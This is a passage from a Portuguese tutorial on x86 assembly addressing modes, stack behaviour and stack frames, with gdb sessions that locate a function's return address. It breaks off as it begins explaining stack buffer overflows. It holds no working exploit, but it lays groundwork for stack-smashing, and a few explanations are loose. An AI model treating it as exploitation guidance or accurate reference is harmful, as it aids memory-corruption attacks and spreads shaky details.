[Enderecamento registrador ] 2 - Immediate Addressing [Enderecamento imediato ] 3 - Direct Addressing [Enderecamento direto ] 4 - Indirect Addressing [Enderecamento indireto ] 5 - Basepointer Addressing [Enderecamento de ponteiro base ] 6 - Indexed Addressing [Enderecamento indexado ] ********************************* *Register Addressing Mode - RAM * ********************************* O modo de enderecamento registrador e composto basicamente por uma copia de dados de um registrador para o outro, veja um exemplo: -- example.c -- /* * * ---=[ Sintaxe AT&T]=--- * * source -> destination * */ main (){ __asm ( "MOVL %ebx, %eax \n" ); } -- cut here -- Nesse exemplo, os 32 bits ([long] 4 bytes) de dados que o registrador ebx armazena sao copiados para o registrador eax. Na sintaxe AT&T[4] utilizamos a notacao per- centual ('%') para referenciarmos os registradores. ********************************** *Immediate Addressing mode - IAM * ********************************** Com o modo de enderecamento imediato nos nao "referenciamos" valores, mas sim de- claramos valores imediatos em si. Nos podemos declarar valores imediatos em hexa- decimal, ou em decimal. Como em C e assembly para referenciarmos valores hexade- cimais precisamos utilizar a notacao 0x seguida do valor propriamente dito, esse valor por sua vez pode ser endereco de memoria ou apenas um numero qualquer. Veja um exemplo do modo de enderecamento imediato: main (){ __asm ( "MOVL $0x0A, %eax \n" ); } Repare que o valor hexadecimal 0A (10 em decimal) foi denotado com o cifrao '$' que e utilizado para referenciar o valor imediato que sera copiado para o re- gistrador eax. Para passarmos valores decimais obviamente que bastaria que nao utilizemos a notacao de valores hexadecimais ('0x'). Exemplo: $10 . Mas como o processador trabalha com numeros hexadecimais voce vera o 0x'a' ao invez de dez quando disassemblar. (...) 0x4012be : mov $0xa,%eax (...) ******************************* *Direct Addressing Mode - DAM * ******************************* O modo de enderecamento direto e o padrao, com este metodo referenciamos enderecos de memoria. Todos os valores passados sao em hexadecimal, pois e a base numerica usada nesse nivel de programacao. Exemplo I -- dam.c -- main (){ __asm ( "MOVL 0x00000010, %eax \n" ); } -- cut -- Repare que para referenciar enderecos de memoria nao utilizamos o cifrao, pois estamos trabalhando no nivel de processador (hexadecimal). Exemplo II -- dam_sampleII.c -- main (){ char buffer1[4], buffer2[]="fox"; strcpy (buffer1, buffer2); __asm ( "NOP; NOP; NOP; NOP \n" "MOV 0x00000010, %eax " ); } -- cut -- C:\Documents and Settings\David\Desktop>gdb dam_sampleII.exe -q (gdb) disass main Dump of assembler code for function main: (...) 0x4012ba : mov 0x403000,%eax <---------- DAM 0x4012bf : mov %eax,0xfffffff8(%ebp) 0x4012c2 : lea 0xfffffff8(%ebp),%eax (...) 0x4012d4 : nop 0x4012d5 : nop ---Type to continue, or q to quit--- 0x4012d6 : nop 0x4012d7 : nop 0x4012d8 : mov 0x10,%eax <---------- 0x4012dd : leave O que caracteriza esse modo de enderecamente e a nao utilizacao de nenhum sinal especial, como referencias a ebp. Ele basicamente pega um endereco de memoria e copia para um registrador. Vale ressaltar que voce nao pode copiar um endereco de memoria para outro endereco diretamente. ================= Um detalhe segue ================= Setaremos um breakpoint na instrucao seguinte a que copia o endereco de memoria que contem a string "fox" para o registrador eax, ou seja, a instrucao 47 de main. 0x4012ba : mov 0x403000,%eax A string esta armazenada no endereco de memoria 0x'403000'. Setaremos o breakpoint na proxima instrucao: (gdb) break *main+47 Breakpoint 1 at 0x4012bf: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 3. Executo o programa: (gdb) r Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe Breakpoint 1, 0x004012bf in main () at C:/Documents and Settings/David/Desktop/dam_sampleII.c:3 3 char buffer1[4], buffer2[]="fox"; O programa parou, agora veremos se a string realmente esta contida no endereco de memoria 0x'403000': (gdb) x/s 0x403000 0x403000 <_data_end__+4032>: "fox" Esta. Bem, voce viu que na instrucao anterior a parada, os dados sao copiados para o registrador eax, mas nos nao podemos fazer a leitura desses dados ("Enderecados pelo modo de enderecamento direto") quando os mesmos estao no registrador eax "logo apos" a copia dos dados usando o modo de enderecamento direto. (gdb) i r eax eax 0x786f66 7892838 (gdb) x/s 0x786f66 0x786f66:
Para lermos o valor que esta armazenado no endereco de memoria que eax guarda, devemos primeiramente fazer o sistema copiar os dados armazenados no registrador 'eax', para a stack, depois que o mesmo estiver "apontando" para esses dados "na stack", e que pode- mos fazer a leitura do endereco de memoria apontado/guardado "no eax". 0x4012bf : mov %eax,0xfffffff8(%ebp) <-- Move o valor de eax para a stack 0x4012c2 : lea 0xfffffff8(%ebp),%eax <-- Faz eax armazenar o endereco da string, na stack. Variaveis locais sao alocadas na stack, no caso temos duas variaveis locais neste programa acima, que sao: char buffer1[4], buffer2[]="fox"; Veja que ebp referencia a stack, este modo de enderecamento sera citado adiante. Repare que na instrucao 47 os dados (str) foram copiados para a stack (leia sobre a mesma no capitulo abaixo) e na instrucao 50 eax aponta (armazena) o "endereco" da stack no qual esta contida nossa string. Agora se setarmos um breakpoint na proxima instrucao, podemos visualizar os dados armazenados no endereco de memoria que eax guarda, que e o endereco da string na stack. Vamos testar. Primeiramente setaremos um ponto de parada na instrucao 53 de main e iniciamos o programa. (gdb) break *main+53 Breakpoint 1 at 0x4012c5: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 5. (gdb) r Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe Breakpoint 1, 0x004012c5 in main () at C:/Documents and Settings/David/Desktop/dam_sampleII.c:5 5 strcpy (buffer1, buffer2); Agora que o programa parou veremos o endereco que eax armazena: (gdb) i r eax eax 0x22ff70 2293616 O endereco 0x22ff70 e um endereco referente a uma parte da stack/pilha. Veremos agora se esse endereco e o da string. (gdb) x/s 0x22ff70 0x22ff70: "fox" Perfeito. Isso foi apenas uma base para voce entender melhor o proximo capitulo. No qual falo sobre o funcionamento da stack (O que e e como funciona). Nos tam- bem podemos ler determinados bytes da string na stack. Para isso basta nao espe- cificarmos o endereco inicial de uma string armazenada na memoria (Final '0'). A string fox\0 possui 3 caracteres e o NULL byte, 4 caracteres, entao se eu quiser visualizar a letra 'x' utilizo a seguinte sintaxe: (gdb) x/s 0x22ff72 0x22ff72: "x" Tendo em vista que: 0x22ff70 -> f 0x22ff71 -> 0 0x22ff72 -> x 0x22ff73 -> \0 Se especificarmos um endereco, o gdb nos mostrara tudo que existe deste ponto, para frente. (gdb) x/s 0x22ff71 0x22ff71: "ox" Claro que os dados devem ser pertencentes ao mesmo bloco. Bloco esse que eh iniciado com 0 e terminada no NULL byte (O terminador de string - '\0'). ********************************** * Indirect Addressing Mode - IAM * ********************************** Este sem duvida e o modo de enderecamente mais facil de ser entendido. Ele consiste em representarmos um endereco de memoria atraves de um registrador entre parenteses na origiem da sintaxe utilizada, assim copiando tal endereco para o registrador de destino. Veja um melhor exemplo deste modo: -- cut -- main (){ __asm ( "MOVL 0x00000005, %eax \n" "MOVL (%eax),%ebx \n" ); } -- cut -- [1] - 0x4012ba : mov 0x5,%eax <--- Direct Addressing Mode [2] - 0x4012bf : mov (%eax),%ebx <--- Indirect Addressing Mode 1 - Modo de enderecamento direto utilizado para a copia do endereco 0x00000005 para o registrador eax. 2 - Modo de enderecamento indireto. O endereco anteriormente copiado para o regis- trador eax agora sera copiado para o registrador ebx. Veja que eax esta entre parenteses, isso faz uma copia DO VALOR ARMAZENADO NELE (0x00000005) para ebx. ************************************* * Basepointer Addressing Mode - BAM * ************************************* O modo de enderecamento de ponteiro base utiliza um endereco base armazenado em um registrador (ebx - Extended base, registrador base nesse caso) e um offset para cal- cular um endereco real. Antes dos dados serem movidos o deslocamento (offset) e inse- rido ao endereco base e o resultado final e retornado para o destino da sintaxe utilizada, assim ao termino desta operacao o endereco direto para o valor requerido e entao encontrado. Esse modo de enderecamento e semelhante ao IAM, pois tambem e uti- lizado o valor de um registrador entre parenteses (Endereco Base) para passar um va- lor indiretamente. A unica diferenca deste metodo para o outro e a ja falada insercao de um offset e o metodo que este deve ser especificado, ou seja, o mesmo devera fi- car antes do registrador que armazena o endereco base. Exemplo: -- BPAM.c -- main (){ __asm ( "MOVL 0x00000005, %ebx \n" "MOVL 4(%ebx),%eax \n" ); } -- cut -- [1] - 0x4012ba : mov 0x5,%ebx [2] - 0x4012c0 : mov 0x4(%ebx),%eax 1 - Move o endereco 0x00000005 para ebx. 2 - O offset (0x04) e adicionado ao endereco base (0x00000005) armazenado em ebx e assim formando o valor 0x00000009 e movendo-o para o registrador eax. Entao o endereco real/absoluto e 0x00000009. *********************************** * Indexed Addressing Mode - IDAM * *********************************** Utilizando esse metodo para se encontrar o endereco absoluto sao utilizados tres valores, que sao: Um 'endereco de memoria', um 'registrador' e um 'multiplicador'. O valor armazenado no index register e multiplicado por um numero, depois esse re- sultado e adicionado ao endereco de memoria e logo em seguida este valor e final- mente retornado. Um exemplo: -- IDAM.c -- main (){ __asm ( "MOV $3, %ebx \n" "MOV 0x000008 (,%ebx,2), %eax \n"); } -- cut -- [1] - 0x4012ba : mov $0x3,%ebx [2] - 0x4012bf : mov 0x8(,%ebx,2),%eax 1 - E copiado o valor 0x03 para o registrador ebx . 2 - O valor do index register ebx (0x'00000003') e multiplicado por '2', nesse caso, ou seja, 0x00000003 * 2, e logo em seguida o resultado (0x00000006) e "adicionado" ao endereco de memoria (0x00000008). O resultado final desta operacao e: 0x0000000E. 0x0E em hexadecimal corresponde a 14 em decimal, 14 e o resultado de 8 + 6. Um detalhe que nao podemos esquecer e que, o resultado da multiplicacao do index register por um numero deve retornar sempre um numero hexadecimal. Exemplo: MOV 0x05, %ebx <--- 0x05 e copiado para ebx MOV 0x00000000 (,%ebx, 4), %eax <--- Leia abaixo O detalhe vem agora, veja que o resultado de cinco vezes quatro e igual a 20 EM DECIMAL, mas com esse modo de enderecamento e com todos os outros, nao podemos retornar valores decimais por que estavamos no nivel de programacao do micro-processador, ou seja, estamos mechendo com a memoria do sistema, portanto devemos utilizar numero hexadecimais para tudo "neste nivel". Entao o resultado que sera MOVido para o registrador acumulador (eax) e o 0x00000014 (Tendo em vista que o endereco base e 0x00000000), pois 0x14 equivale a 20 em decimal, resultado esse de 5 vezes 4. Voce vera logo mais que apenas dois valores sao re- almente necessarios neste modo de enderecamento. Exemplo: movl $0x0,(%esp,1) ----- Capitulo 0x07 [=] + =========================================== + [=] ---=[ Funcionamento basico da stack ]=--- [=] + =========================================== + [=] A stack, ou "pilha" (em portugues) e utilizada para varias coisas na execucao de um programa, como por exemplo: Armazenar endereco de retorno (Falarei adiante) e passar parametros para as subrotinas. Todas as variaveis locais sao armazenadas na 'stack'. As instrucoes utilizadas para manipulacao da stack sao: PUSH ---> EMPURRA DADOS SOBRE A PILHA. Nao se esqueca de que o re- gistrador que aponta para o topo da pilha/stack e o esp (extended stack pointer). POP ---> "RETIRA" ESSES DADOS DO TOPO DO STACK E INSERE OS MESMOS SOBRE ALGUM REGISTRADOR ESPECIFICADO POR NOS. Esses dados nao sao literalmente retirados, pois a pilha e marcada como somente leitura. O que acontece e que o registrador esp nao aponta mais para esse endereco "retirado" da stack. ================================== Exemplos das instrucoes push e pop ================================== C:\Documents and Settings\David>debug -A 0D3C:0100 MOV CH,10 ; Depois da instrucao: CX = 1000 0D3C:0102 PUSH CX ; Empura o valor '1000' para o topo da stack/pilha. 0D3C:0103 POP DX ; "Retira" esses dados da stack e copia para o register DX. 0D3C:0104 POP AX ; A stack nao armazena mais 1000, portanto nao copia 1000. -t <-- Executa a primeira instrucao, a que esta no endereco 0100. ======= ======= CX=1000 DX=0000 ======= ======= ======= ======= ======= ======= ======= ======= IP=0102 NV UP EI PL NZ NA PO NC 0D3C:0102 51 PUSH CX -t <-- Executa a instrucao que joga o valor de CX para o topo do stack ======= ======= CX=1000 DX=0000 ======= ======= ======= ======= ======= ======= ======= ======= IP=0103 NV UP EI PL NZ NA PO NC 0D3C:0103 5A POP DX -t <-- Executa a instrucao que "retira" esses dados da stack e copia para DX AX=0000 ======= CX=1000 DX=1000 ======= ======= ======= ======= ======= ======= ======= ======= IP=0104 NV UP EI PL NZ NA PO NC 0D3C:0104 58 POP AX -q Nao executei a ultima instrucao, mas o resultado e "0000" nesse caso, pois depois do primeiro POP, a stack nao guarda mais o valor 1000, portanto AX continuaria 0. A stack funciona no esquema que costumamos chamar de LIFO - Last in First Out, que significa: O ultimo dentro, primeiro fora. A stack/pilha recebe esse nome justa- mente por trabalhar dessa maneira. Imagine uma pilha de CD's (chega de prato ;), voce empilha seus CD's um sobre o outro, o ultimo 'CD' que voce coloca no topo da pilha e o primeiro que voce retira. E assim que funciona a stack, o ultimo parame- tro empurrado no topo do stack, e o primeiro parametro que a syscall pegara. Todas as vezes que uma funcao/syscall e chamada essa mesma syscall pega os parametros passados para seus argumentos, da pilha, ou seja, esses dados sao previamente empilhados em tempo de execucao sobre o stack, e pegos na execucao da syscall. Vejam esse codigo fonte: -- msg.c -- #include #include #include main (){ MessageBoxA (0, "Text", "Title", 64); exit (0); } -- cut -- A funcao MessageBoxA exibe uma mensagem em uma caixa de dialogo. Seus parametros correspondem a: Dono da janela (0), texto da mensagem ("Text"), titutlo ("Title") da janela e estilo de mensagem (64 = OK). Em tempo de execucao este programa em- pilhara os respectivos argumentos desta funcao e chamara ("call") o endereco de memoria onde esta armazenado a funcao MessageBoxA. Apos essa chamada a funcao, o ultimo dado empilhado, sera o primeiro retirado. Veja esse exemplo para uma me- lhor compreensao: int MessageBox ( HWND hWnd, // handle do dono da janela LPCTSTR lpText, // Endereco do texto LPCTSTR lpCaption, // Endereco do titulo UINT uType // Estilo da caixa de mensagem ); MessageBoxA no stack +==============+ | 64 | ---> Primeiro dado empilhado |--------------| | "title" | ---> Segundo dado empilhado |--------------| | "text" | ---> Terceiro dado empilhado |--------------| | NULL (0) | ---> Quarto dado empilhado +--------------+ call [Endereco da funcao MessageBoxA] Quando a funcao MessageBoxA e chamada (call) ela pegara primeiramente o ultimo dado empilhado, no nosso caso o 0 (dono da janela), depois o texto da caixa de dialogo, titulo da janela e o estilo de janela (64), assim exibindo a caixa de dialogo pro- priamente dita. Em asm (Assembly) seria essa uma representacao ideal: (...) 1 - PUSH 64 ; Empurra 64 (Estilo de janela) no topo do stack 2 - PUSH title ; Titulo da janela. 3 - PUSH text ; Empurra o texto no topo do stack. 4 - PUSH 0 ; Dono da janela. call 0x77D46476 ; Chama a funcao armazenada neste endereco. (...) Quando a funcao e chamada ela pegara o ultimo valor empilhado, 4, depois 3, 2 e 1 e assim consequentemente lhe apresentando a caixa de dialogo. ExitProcess (...) PUSH 0 ; Empurra o status de saida sobre o topo do stack. call 0x77E698FD ; Chama a funcao que termina a execucao do programa. Quando a instrucao call e chamada o endereco da proxima instrucao e posto no topo da stack. O exemplo que segue sera muito util para seu aprendiza- do. Escrevi esse programa em assembly e compilei o mesmo com o fasm. -- cut -- format PE GUI 4.0 include "c:\fasmw16727 (windows)\include\WIN32AX.INC" start: ; Marca o inicio dos codigos jmp hey ; Pula para o rotulo hey chama: pop ebx invoke MessageBox,0,ebx, "Title",0 invoke exit,0 hey: call chama nome db '6_Bl4ck9_f0x6',0 ; Importa as API's que contem as funcoes utilizadas no programa data import library kernel32, 'KERNEL32.DLL', user32, 'user32.dll' ; Importa as funcoes contidas nessas API's import kernel32, exit, 'ExitProcess' import user32, MessageBox, 'MessageBoxA' end data -- cut -- Comentarei o que e realmente importante. call chama nome db '6_Bl4ck9_f0x6',0 Veja que a instrucao call chama o rotulo "chama", ou seja, o fluxo do programa segue desse ponto em diante, a 'proxima instrucao' apos a chamada do rotulo e entao posta no topo da stack, ou seja, a variavel 'nome' que armazena a string "6_Bl4ck9_f0x6" e empilhada. O db ali esta marcando que esta variavel armazena caracteres, e como se fosse uma 'char' em C. pop ebx Retira os dados empilhados sobre a stack (A "string") e copia os mesmos para o registrador ebx. invoke MessageBox,0,ebx, "Title",0 invoke exit,0 Agora veja que interessante, repare que o segundo argumento da funcao MessageBox e justamente o registrador 'ebx', que esta armazenando os dados anteriormente em- pilhados, ou seja a string. O invoke chama uma funcao, nesse sao chamadas as fun- coes MessageBox e ExitProcess (representado por 'exit' no codigo). Vamos manipular o gdb agora: C:\Documents and Settings\David>gdb msg.exe -q (gdb) list 1 #include 2 #include 3 #include 4 5 main (){ 6 7 MessageBoxA (0, "Text", "Title", 64); 8 exit (0); 9 } 10 (gdb) q C:\Documents and Settings\David> Como voce ja sabe o comando "list" nos mostra os symbols do programa. Caso queira visualizar mais linhas de codigo no seu programa, basta que repita o comando list, se quiser voltar para as primeiras linhas digite list 0. Repare que cada symbol possui um numero de identificacao, que pode ser visto a sua esquerda. Disassembla- remos agora a funcao principal ('main()'). C:\Documents and Settings\David>gdb msg.exe -q (gdb) disassemble main Dump of assembler code for function main: 0x401290
: push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x18,%esp 0x401296 : and $0xfffffff0,%esp 0x401299 : mov $0x0,%eax 0x40129e : add $0xf,%eax 0x4012a1 : add $0xf,%eax 0x4012a4 : shr $0x4,%eax 0x4012a7 : shl $0x4,%eax 0x4012aa : mov %eax,0xfffffffc(%ebp) 0x4012ad : mov 0xfffffffc(%ebp),%eax 0x4012b0 : call 0x401730 <_alloca> 0x4012b5 : call 0x4013d0 <__main> 0x4012ba : movl $0x40,0xc(%esp,1) <-- Estilo de janela 0x4012c2 : movl $0x403000,0x8(%esp,1) <-- Titulo 0x4012ca : movl $0x403006,0x4(%esp,1) <-- Texto 0x4012d2 : movl $0x0,(%esp,1) <-- Dono da janela 0x4012d9 : call 0x401880 <-- Chamada da funcao 0x4012de : sub $0x10,%esp 0x4012e1 : movl $0x0,(%esp,1) 0x4012e8 : call 0x401820 End of assembler dump. (gdb) q C:\Documents and Settings\David> O leitor astuto percebera que existe 0x40 ao inves de 64. Isso se deve ao fato de que o processador trabalha com a base numerica hexadecimal. 0x40 e equivalente a 64 em decimal. (...) 0x4012ba : movl $0x40,0xc(%esp,1) <-- Estilo de janela 0x4012c2 : movl $0x403000,0x8(%esp,1) <-- Titulo 0x4012ca : movl $0x403006,0x4(%esp,1) <-- Texto 0x4012d2 : movl $0x0,(%esp,1) <-- Dono da janela 0x4012d9 : call 0x401880 <-- Chamada da funcao (...) Como voce pode ver o estilo de janela e inserido primeiramente sobre a stack, seguido do endereco de memoria onde esta localizado o titulo da caixa de mensagem, texto da mensagem e logo apos o dono da janela. Na instrucao de endereco 0x4012d9 a instrucao call chamara o endereco 0x401880 no qual "executara" a funcao MessageBoxA, que pega- ra seus parametros previamente empilhados sobre a stack. Agora, duas resalvas devem ser feitas: Esta sintaxe e a 'AT&T', ou seja, a origem e o lado esquerdo e o destino o lado direito. A outra ressalva e sobre a "nao utilizacao" na instrucao PUSH, para empilhamento de dados sobre a stack, ao contrario disto, os dados sao movidos para o stack pointer (apontado por esp) com a instrucao movl (move long) e com o metodo de enderecamento indexed. Para ver as strings armazenadas nos enderecos de memoria co- piados para a stack, use o /s como sempre ;) (gdb) x/s 0x403000 0x403000 <_data_end__+4032>: "Title" (gdb) x/s 0x403000+6 0x403006 <_data_end__+4038>: "Text" (gdb) q Com o sinal de + seguido do numero 6 estou dizendo que desejo que o gdb me mostre a string armazenada 6 bytes apos o endereco 0x403000, pois e onde se inicia o ou- tro vetor de caracteres. Tambem poderia ter utilizado a sintaxe x/s 0x403006, di- retamente. A stack no windows esta armazenada em enderecos baixos e ela possui um esquema de enderecamento que cosiste em crescer de cima para baixo e de '4' em '4' bytes. Extended Stack Pointer (esp) = 0006FFC4 <--- +=====================+ | Endereco | Valor || +=====================|| | || | 0006FFC4 77E714C7 || | 0006FFC8 FFFFFFFF || | 0006FFCC 77F5166A || | 0006FFD0 7FFDF000 || | 0006FFD4 F0909CF0 || | 0006FFD8 0006FFC8 || | || +======================+ Instrucoes que manipulam a stack PUSH $5 ; Empurra o valor 5 na stack PUSH $9 ; Empurra o valor 9 na stack PUSH $10 ; Empurra o valor 10 PUSH $11 ; Empurra o valor 11 Veja a pilha logo apos essas instrucoes +=====================+ | Endereco | Valor | +=====================+ 4 <-----> 0006FFB4 | 0000000B <-----> 11 8 <-----> 0006FFB8 | 0000000A <-----> 10 C <-----> 0006FFBC | 00000009 <-----> 9 0 <-----> 0006FFC0 | 00000005 <-----> 5 | 0006FFC4 | 77E714C7 | | 0006FFC8 | FFFFFFFF | | 0006FFCC | 77F5166A | | 0006FFD0 | 7FFDF000 | | 0006FFD4 | F0909CF0 | | 0006FFD8 | 0006FFC8 | +=====================+ | esp = 0x0006FFB4 | +=====================+ ----- Capitulo 0x07 [=] + =========================================== + [=] ---=[ O stack frame ]=--- [=] + =========================================== + [=] O "termo" 'stack frame' nada mais e que uma representacao de um dos estados de um programa montado na memoria em run-time - Tempo de execucao (claro). Veremos agora como e composto um stack frame de uma funcao dentro de um programa escrito em C. C:\Documents and Settings\David>gdb stack_frame.exe GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... (gdb) list 1 int function (int a, int b, int c){ 2 3 char buffer[16]; 4 5 } 6 7 main (){ 8 9 function (1, 2, 3); 10 (gdb) list 11 } Disassemblamos a funcao principal (gdb) disass main Dump of assembler code for function main: 0x401298
: push %ebp 0x401299 : mov %esp,%ebp 0x40129b : sub $0x18,%esp 0x40129e : and $0xfffffff0,%esp 0x4012a1 : mov $0x0,%eax 0x4012a6 : add $0xf,%eax 0x4012a9 : add $0xf,%eax 0x4012ac : shr $0x4,%eax 0x4012af : shl $0x4,%eax 0x4012b2 : mov %eax,0xfffffffc(%ebp) 0x4012b5 : mov 0xfffffffc(%ebp),%eax 0x4012b8 : call 0x401720 <_alloca> 0x4012bd : call 0x4013c0 <__main> 0x4012c2 : movl $0x3,0x8(%esp,1) 0x4012ca : movl $0x2,0x4(%esp,1) 0x4012d2 : movl $0x1,(%esp,1) 0x4012d9 : call 0x401290 <---- Chama a "function" 0x4012de : leave <---- Endereco de retorno 0x4012df : ret End of assembler dump. (gdb) q Veremos o stack frame da funcao "function" mostrada acima. (gdb) disassemble function Dump of assembler code for function function: 0x401290 : push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x18,%esp 0x401296 : leave 0x401297 : ret End of assembler dump. (gdb) Neste exemplo utilizo o "symbol" function para representar a parte do programa que queremos ver disassemblada, ou seja, que queremos ver as instrucoes, mas eu tambem poderia utilizar aquele endereco ao lado da instrucao call (disassemble 0x401290). Repare bem nessas instrucoes, pois elas que serao as utilizadas para a criacao e a destruicao do stack frame. Para ser mais especifico as tres primeiras instrucoes criam o stack frame de uma funcao qualquer, as duas ultimas instrucoes por sua vez, destroem o stack frame de uma funcao. Vejamos agora um diagrama deste programa mon- tado na memoria, ou seja, veremos seu stack frame. ---=[ Stack frame de uma funcao ]=--- +----------------+ | buffer[0] | --> Topo da stack (esp) ^ +----------------+ | | buffer[1] | | +----------------+ | | buffer[2] | | +----------------+ | | buffer[3]... | | +----------------+ | | | | | Dummy (8 bytes)| | | | | +----------------+ | | SFP | --> Stack Frame Pointer | | | --> ebp - Extended Base pointer (referencia dados na stack) | +----------------+ | | RETURN ADDRESS | --> Endereco da proxima instrucao apos a chamada da funcao. +----------------+ | a (1) | < ------+ +----------------+ | | b (2) | > Argumentos. function (int a, int b, int c); +----------------+ | | c (3) | < ------+ +----------------+ 1 - Os argumentos da funcao sao alocados na memoria em ordem inversa. Nesse caso o primeiro dado a ser inserido no stack frame e o valor da variavel c, depois b, depois a. 2 - O endereco da proxima instrucao apos a chamada da funcao "function" e posto na area "Return address" no stack frame, para o programa saber onde ele tem que retornar apos o encerramento da funcao. 3 - SFP - Stack Frame Pointer aponta para a base do stack frame. O ebp e o regis- trador utilizado para fazer referencias aos dados no stack frame. 4 - O espaco para as variaveis locais e reservado na stack/pilha. Lembrando que o gcc tambem cria bytes de "alinhamento" na "area buffer" do stack frame. ================================== = Se aprofundando no stack frame = ================================== Como citei anteriormente, existe 5 instrucoes em assembly contidas em todas as funcoes de um programa, as 3 primeiras correspondem ao "Prologo", a construcao do stack frame, as duas ultimas correspondem ao "Epilogo", a destruicao do stack frame. O Prologo [1] - 0x401290 : push %ebp [2] - 0x401291 : mov %esp,%ebp [3] - 0x401293 : sub $0x18,%esp O Epilogo [4] - 0x401296 : leave [5] - 0x401297 : ret ===================== Definhando o prologo ===================== 1) - O stack frame (registrador ebp) e empilhado. Como ja citei, e atraves deste registrador especial que o programa faz referencias aos dados das variaveis locais de uma funcao, nesse caso da funcao "function". 2) - Como voce ja sabe, quando main chama uma funcao, o endereco da proxima instru- cao e posto na stack, disassemble a funcao main e veja a chamada a "function". 0x4012d9 : call 0x401290 Veja que o programa faz uma chamada exatamente ao endereco inicial desta fun- cao. E o endereco de memoria desta instrucao que e posto no topo da stack: 0x4012de : leave Este endereco fica armazenado na parte RETURN Address do stack frame, ele e referenciado pelo registrador esp. Repare que o 0x'4012de' nao passa de um endereco de memoria virtual. O leitor astuto percebera que houve uma copia dos dados do esp (endereco de retorno) para ebp. 3) - E reservado um numero de bytes para alocar as variaveis locais. Nesse caso a variavel local buffer reserva 16 bytes na stack, a funcao sub subtrai o va- lor de um registrador, nesse caso o esp vai ser subtraido em 0x18 bytes assim reservando 24 bytes em decimal p/ alocar as variaveis locais. Voce agora deve estar se perguntando: Como? Se 0x18 em hexadecimal equivale a 24 em decimal? A resposta e simples, o gcc reserva 8 bytes em todas as funcoes de um pro- grama em C, o conjunto desses bytes adicionais sao chamados de dummy. Entao ja temos o valor total: 16 (buffer) + 8 (dummy) = 24 24 em decimal corresponde a 0x18 em hexadecimal. Vale ressaltar que algumas vezes o compilador gcc utiliza "alinhamentos extra" na construcao do stack frame, mas nao foi o caso aqui. Comprove a existencia do dummy, compile esse codigo: -- cut -- main (){ } -- cut -- Veja que apenas declaro a funcao principal e mais nada. Agora olhe o resultado: (...) (gdb) disass main Dump of assembler code for function main: 0x401290
: push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x8,%esp <--- Veja o dummy aqui. (...) Perceba que apenas o espaco para o dummy da funcao principal foi reservado. ===================== Definhando o epilogo ===================== 4) - A instrucao leave e composta basicamente por duas instrucoes: MOV ebp, esp <----- Move o endereco de retorno anteriormente copiado para ebp de volta para o esp. POP ebp <----- Remove o SFP (ebp) do stack frame, assim destruindo-o. 5) - A instrucao ret move o endereco de retorno apontado por esp para o registrador 'eip' assim fazendo o programa continuar seu fluxo normal, executando a ins- trucao depois da chamada a funcao "function". Lembre-se que o registrador eip aponta para a proxima instrucao a ser executada. Veja um diagrama do stack frame da funcao principal com dois argumento. main(int argc, char *argv[]){ +----------------+ |char buffer[28];| <--- O topo aponta para buffer[0]; +----------------+ | dummy (8 bytes)| <--- Dummy da funcao main +----------------+ | SFP (ebp) | <--- Apontador de base +----------------+ | RETURN ADDRESS | <--- Endereco de retorno de main. +----------------+ | int argc | <----+ +----------------+ /---> Argumentos de main(); | char *argv[] | <---+ +----------------+ ================================= + Obtendo o endereco de retorno + ================================= Nesta primeiro parte demonstrarei apenas uma das formas de obter o endereco de retorno, no proximo paper falarei mais sobre metodos de conseguir o RET de alguma funcao. Primeiramente farei uma pequena aplicacao: -- get_ret.c -- #include #include void func (){ printf ("Esta funcao nao faz nada"); } main (){ func (); // <-- call 0x401290 exit (0); // <-- Retorno no stack frame } -- cut -- Vamos obter o endereco de retorno apos a chamada da funcao func() C:\>gdb get_ret.exe -q (gdb) disass main Dump of assembler code for function main: 0x4012a4
: push %ebp 0x4012a5 : mov %esp,%ebp (...) 0x4012ce : call 0x401290 0x4012d3 : movl $0x0,(%esp,1) <-- No stack frame (0x4012d3) 0x4012da : call 0x401810 End of assembler dump. Vamos ver o stack frame no qual este RET sera inserido: (gdb) disass func Dump of assembler code for function func: 0x401290 : push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x8,%esp 0x401296 : movl $0x403000,(%esp,1) 0x40129d : call 0x401820 0x4012a2 : leave 0x4012a3 : ret End of assembler dump. Antes deste stack frame ser destruido marcaremos um breakpoint na ultima instrucao, ou seja, a instrucao que comeca a destruicao do stack frame, que e a 'leave', que esta localizada em . (gdb) break *func+18 Breakpoint 1 at 0x4012a2: file C:/get_ret.c, line 8. Iniciaremos o programa: (gdb) r Starting program: C:\get_ret.exe Breakpoint 1, func () at C:/get_ret.c:8 8 } Pegaremos agora o endereco de ebp e o do RET: (gdb) x/x $ebp 0x22ff58: 0x0022ff78 <--- Base do stack frame Acima esta o endereco do FBP do stack frame. Utilizei o parametro 'x' do 'x/' seguido do registrador no qual desejo ver o valor em hexadecimal. (gdb) x/x $ebp+4 0x22ff5c: 0x004012d3 <--- Endereco de retorno. Essa sintaxe diz que desejo ver em hexadecimal 4 bytes depois do SFP. (...) +------------+ | Dummy | +------------+ | 0x0022ff78 | <-- FBP +------------+ | 0x004012d3 | <-- RET +------------+ Observe: 0x4012ce : call 0x401290 0x4012d3 : movl $0x0,(%esp,1) ^ | +----- > Veja que e este endereco que esta na area RET do stack frame de func. Lembrando que voce tambem fara bom proveito deste paper se utilizar os exemplos aqui descritos, nos *nixes/linuxes ;) ----- Capitulo 0x0A [=] + =========================================== + [=] ---=[ Como acontece o stack overflow ]=--- [=] + =========================================== + [=] Acredito que isso seja de conhecimento de quase todos os leitores deste texto, que apesar de saberem como acontece, nao sabem como explorar. O Overflow acontece quando inserimos mais dado que um buffer pode suportar, ou seja, vamos supor que um buffer suporte 16 bytes, se inserirmos 17 bytes esse ultimo byte vai "sobrescrever" o stack frame e vai alcancar o dummy. Se por um acaso nos inserirmos 16 + 8 + 1 esse ultimo byte inserido por nos alcancara o FBP (ebp) que por sinal e composto por 4 bytes, ou seja, esses dados "ultrapassam" o espaco reservado para o buffer no 'stack 